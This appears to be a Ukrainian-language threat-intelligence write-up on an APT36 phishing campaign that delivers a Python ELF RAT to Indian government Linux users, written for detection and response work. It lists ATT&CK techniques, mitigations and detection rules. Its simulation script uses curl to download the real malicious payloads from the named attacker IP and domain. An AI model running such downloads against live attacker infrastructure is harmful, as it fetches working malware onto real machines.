APT36 Впроваджує шкідливе програмне забезпечення Python ELF проти індійських урядових структур
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
APT36 (Прозора Плем’я) провела фішингову кампанію, що розповсюджувала шкідливі файли ярликів Linux .desktop серед користувачів уряду Індії. Ці лаунчери завантажують та запускають Python-основаного ELF RAT під назвою swcbc з сервера, контрольованого атакуючими. Шкідливе ПЗ зберігає стійкість через сервіс systemd на рівні користувача та спілкується зі своїм C2 через HTTP для ексфільтрації даних і виконання команд. Кампанія підкреслює зростаючу здатність групи ефективно оперувати в Linux-середовищах.
Розслідування
Розслідування слідувало ланцюжку від початкового вкладення .zip до лаунчера .desktop, файлу підставки PDF та двох навантажень (ELF-бінарний файл swcbc і скрипт swcbc.sh), завантажених з IP-адреси, контрольованої актором. Аналіз показав, що ELF-бінарник є упакованим за допомогою PyInstaller Python RAT з можливостями профілювання системи, завантаження/вивантаження файлів, зняття скріншотів та самовидалення. Стійкість реалізується шляхом реєстрації сервісу systemd в каталозі конфігурації користувача.
Пом’якшення
Рекомендовані заходи захисту включають блокування виконання .desktop, .sh та ELF файлів, що отримані електронною поштою, та забезпечення виконання підозрілих вкладень в пісочниці. Вимкніть автоматичне виконання з шляхів, доступних для запису, таких як /tmp, та застосовуйте опції монтування noexec, де це можливо. Моніторьте DNS та HTTP трафік для з’єднань з ідентифікованим шкідливим доменом та IP. Забезпечуйте суворий контроль застосувань на такі інструменти, як curl і LibreOffice.
Відповідь
Коли виявляється активність, ізолюйте уражений Linux-хост, зберіть шкідливі артефакти та системний сервіс systemd, і видаліть прихований каталог ~/.swcbc. Використовуйте судово-медичні інструменти для вилучення унікального ідентифікатора хоста та припинення будь-яких поточних сеансів C2. Оновіть вміст виявлення з отриманими IOC та проактивно шукайте подібні шаблони в ширшому середовищі.
graph TB %% Визначення класів classDef action fill:#99ccff classDef artifact fill:#ffdd88 classDef malware fill:#ff9999 classDef process fill:#c2f0c2 %% Вузли – Дії (MITRE Techniques) initial_access_phishing[“<b>Дія</b> – <b>T1566 Фішинг</b>: Цільовий фішинговий вкладений файл<br/><b>Опис</b>: Зловмисник надсилає жертві шкідливий ярлик .desktop електронною поштою.”] class initial_access_phishing action user_execution_file[“<b>Дія</b> – <b>T1204.002 Виконання користувачем</b>: Шкідливий файл<br/><b>Опис</b>: Жертва відкриває файл .desktop, що запускає вбудований скрипт.”] class user_execution_file action obfuscation[“<b>Дія</b> – <b>T1027 Обфусковані файли</b>: Кодування даних<br/><b>Опис</b>: Скрипт збережений у вигляді рядка Base64, а ELF-навантаження запаковане за допомогою PyInstaller.”] class obfuscation action masquerading[“<b>Дія</b> – <b>T1036 Маскування</b><br/><b>Опис</b>: Ярлик .desktop імітує легітимний офісний документ та відкриває фальшивий PDF.”] class masquerading action ingress_tool_transfer[“<b>Дія</b> – <b>T1105 Передача інструментів у систему</b><br/><b>Опис</b>: Скрипт завантажує ELF-бінарник і shell-скрипт із віддаленого HTTP-сервера.”] class ingress_tool_transfer action execution_unix_shell[“<b>Дія</b> – <b>T1059 Інтерпретатор команд і скриптів</b>: Unix Shell<br/><b>Опис</b>: Завантажувач надає права на виконання та запускає навантаження у фоновому режимі.”] class execution_unix_shell action persistence_systemd[“<b>Дія</b> – <b>T1543 Створення або модифікація системного процесу</b><br/><b>Опис</b>: Створюється та вмикається шкідлива user-служба systemd для запуску при вході в систему.”] class persistence_systemd action persistence_boot_script[“<b>Дія</b> – <b>T1037.004 Скрипти ініціалізації при завантаженні або вході</b><br/><b>Опис</b>: Користувацька служба systemd діє як скрипт автозапуску для забезпечення стійкості.”] class persistence_boot_script action discovery_system_info[“<b>Дія</b> – <b>T1082 Виявлення інформації про систему</b><br/><b>Опис</b>: ELF-RAT збирає версію ОС, імʼя хоста, імʼя користувача та MAC-адресу.”] class discovery_system_info action discovery_file_dir[“<b>Дія</b> – <b>T1083 Виявлення файлів і каталогів</b><br/><b>Опис</b>: Шкідливе ПЗ переглядає файлову систему для пошуку даних для ексфільтрації.”] class discovery_file_dir action command_control_app_layer[“<b>Дія</b> – <b>T1071 Протокол прикладного рівня</b><br/><b>Опис</b>: Імплант спілкується з C2-сервером через HTTP GET/POST.”] class command_control_app_layer action data_encoding[“<b>Дія</b> – <b>T1132 Кодування даних</b><br/><b>Опис</b>: Дані та команди C2 кодуються у Base64 для приховування вмісту.”] class data_encoding action collection_local_data[“<b>Дія</b> – <b>T1005 Дані з локальної системи</b><br/><b>Опис</b>: RAT архівує вибрані файли у ZIP-архіви для подальшої передачі.”] class collection_local_data action exfiltration_http[“<b>Дія</b> – <b>T1005 Дані з локальної системи (Ексфільтрація)</b><br/><b>Опис</b>: Архіви передаються зловмиснику через HTTP POST-запити.”] class exfiltration_http action %% Вузли – Артефакти / Шкідливе ПЗ file_desktop[“<b>Артефакт</b> – <b>.desktop ярлик</b><br/><b>Файл</b>: Analysis_Proc_Report_Gem.desktop<br/><b>Призначення</b>: Запускає Base64-скрипт.”] class file_desktop artifact script_base64[“<b>Шкідливе ПЗ</b> – <b>Base64-скрипт</b><br/><b>Вміст</b>: Декодує та виконує логіку завантажувача.”] class script_base64 malware elf_payload[“<b>Шкідливе ПЗ</b> – <b>ELF-бінарник (swcbc)</b><br/><b>Тип</b>: Запакований RAT, доставлений через PyInstaller.”] class elf_payload malware shell_script_payload[“<b>Шкідливе ПЗ</b> – <b>Shell-скрипт (swcbc.sh)</b><br/><b>Призначення</b>: Допоміжний скрипт для налаштування стійкості.”] class shell_script_payload malware systemd_service[“<b>Артефакт</b> – <b>Файл служби systemd</b><br/><b>Розташування</b>: ~/.config/systemd/user/swcbc.service<br/><b>Ефект</b>: Запускає ELF-навантаження при вході користувача.”] class systemd_service artifact %% Зв’язки – Ланцюг атаки initial_access_phishing –>|доставляє| file_desktop file_desktop –>|запускає| script_base64 script_base64 –>|обфускує| obfuscation script_base64 –>|маскується як| masquerading script_base64 –>|завантажує| elf_payload script_base64 –>|завантажує| shell_script_payload ingress_tool_transfer –>|сприяє завантаженню| elf_payload ingress_tool_transfer –>|сприяє завантаженню| shell_script_payload script_base64 –>|виконує через| execution_unix_shell elf_payload –>|працює як| process_elf[(“ELF-процес”)] class process_elf process process_elf –>|встановлює| command_control_app_layer process_elf –>|збирає інформацію про систему через| discovery_system_info process_elf –>|перераховує файли через| discovery_file_dir process_elf –>|архівує файли через| collection_local_data collection_local_data –>|кодує дані через| data_encoding collection_local_data –>|ексфільтрує через| exfiltration_http exfiltration_http –>|використовує| command_control_app_layer shell_script_payload –>|створює| systemd_service systemd_service –>|вмикає| persistence_systemd persistence_systemd –>|забезпечує| persistence_boot_script persistence_boot_script –>|гарантує виконання при вході| execution_unix_shell
Потік атаки
Виявлення
Виявлення завантаження шкідливих URL APT36 [Proxy]
Переглянути
Виконання шкідливого .desktop та Shell Script APT36 [Створення процесу Linux]
Переглянути
IOC (SourceIP) для виявлення: APT36 Python-обґрунтованого ELF зловмисного ПЗ, націленого на уряд Індії
Переглянути
IOC (DestinationIP) для виявлення: APT36 Python-обґрунтованого ELF зловмисного ПЗ, націленого на уряд Індії
Переглянути
IOC (HashSha256) для виявлення: APT36 Python-обґрунтованого ELF зловмисного ПЗ, націленого на уряд Індії
Переглянути
Виконання симуляції
Передумова: Перевірка телеметрії та базових параметрів повинна бути пройдена.
Мотив: Цей розділ детально описує точне виконання техніки супротивника (TTP), розробленої для викликання правила виявлення. Команди та наратив МУСЯТЬ безпосередньо відображати ідентифіковані TTPs та націлюватися на генерацію точної телеметрії, очікуваної логікою виявлення. Абстрактні або нерелевантні приклади призведуть до неправильної діагностики.
-
Розповідь атаки та команди:
Оператор APT‑36 розміщує три навантаження на скомпрометованій інфраструктурі та розсилає їх URL-адреси через фішингове електронне повідомлення. Жертва, використовуючи веб-браузер, налаштований на маршрутизування трафіку через корпоративний проксі-сервер, натискає кожне посилання. Проксі-сервер записує кожен запит GET, що створює записи, які відповідають правилуurl|all. Навантаження включають:- Сирий ELF-бінарний файл (
swcbc) переданий через HTTP. - Скрипт оболонки (
swcbc.sh), що при виконанні встановлює ELF. - Файл підставки PDF (
Analysis_Proc_Report_Gem.pdf), призначений для того, щоб заохотити користувача відкрити файл, поки шкідливий ELF запускається у фоновому режимі.
- Сирий ELF-бінарний файл (
-
Скрипт регресійного тесту:
#!/usr/bin/env bash # Симуляція завантаження шкідливих URL-адрес APT‑36 – викликає правило Sigma. set -euo pipefail # Визначте шкідливі URL (точні рядки з правила Sigma) urls=( "http://185.235.137.90:32587/uploads/yash10_52228826567/swcbc" "http://185.235.137.90:32587/uploads/yash10_52228826567/swcbc.sh" "https://lionsdenim.xyz/in/Analysis_Proc_Report_Gem.pdf" ) # Завантажте кожне навантаження через корпоративний проксі. # Передбачається, що змінна середовища http_proxy/https_proxy вказує на проксі. for u in "${urls[@]}"; do echo "[*] Завантаження $u через проксі..." curl -s -O "$u" done echo "[+] Всі шкідливі файли завантажені. Перевірте журнали проксі на відповідність URL."Збережіть скрипт як
apt36_simulation.sh, зробіть його виконуваним (chmod +x apt36_simulation.sh), і запустіть його на захищеній робочій станції. -
Команди очищення:
#!/usr/bin/env bash # Видалення всіх файлів, створених під час симуляції rm -f swcbc swcbc.sh Analysis_Proc_Report_Gem.pdf echo "[+] Очищення завершено."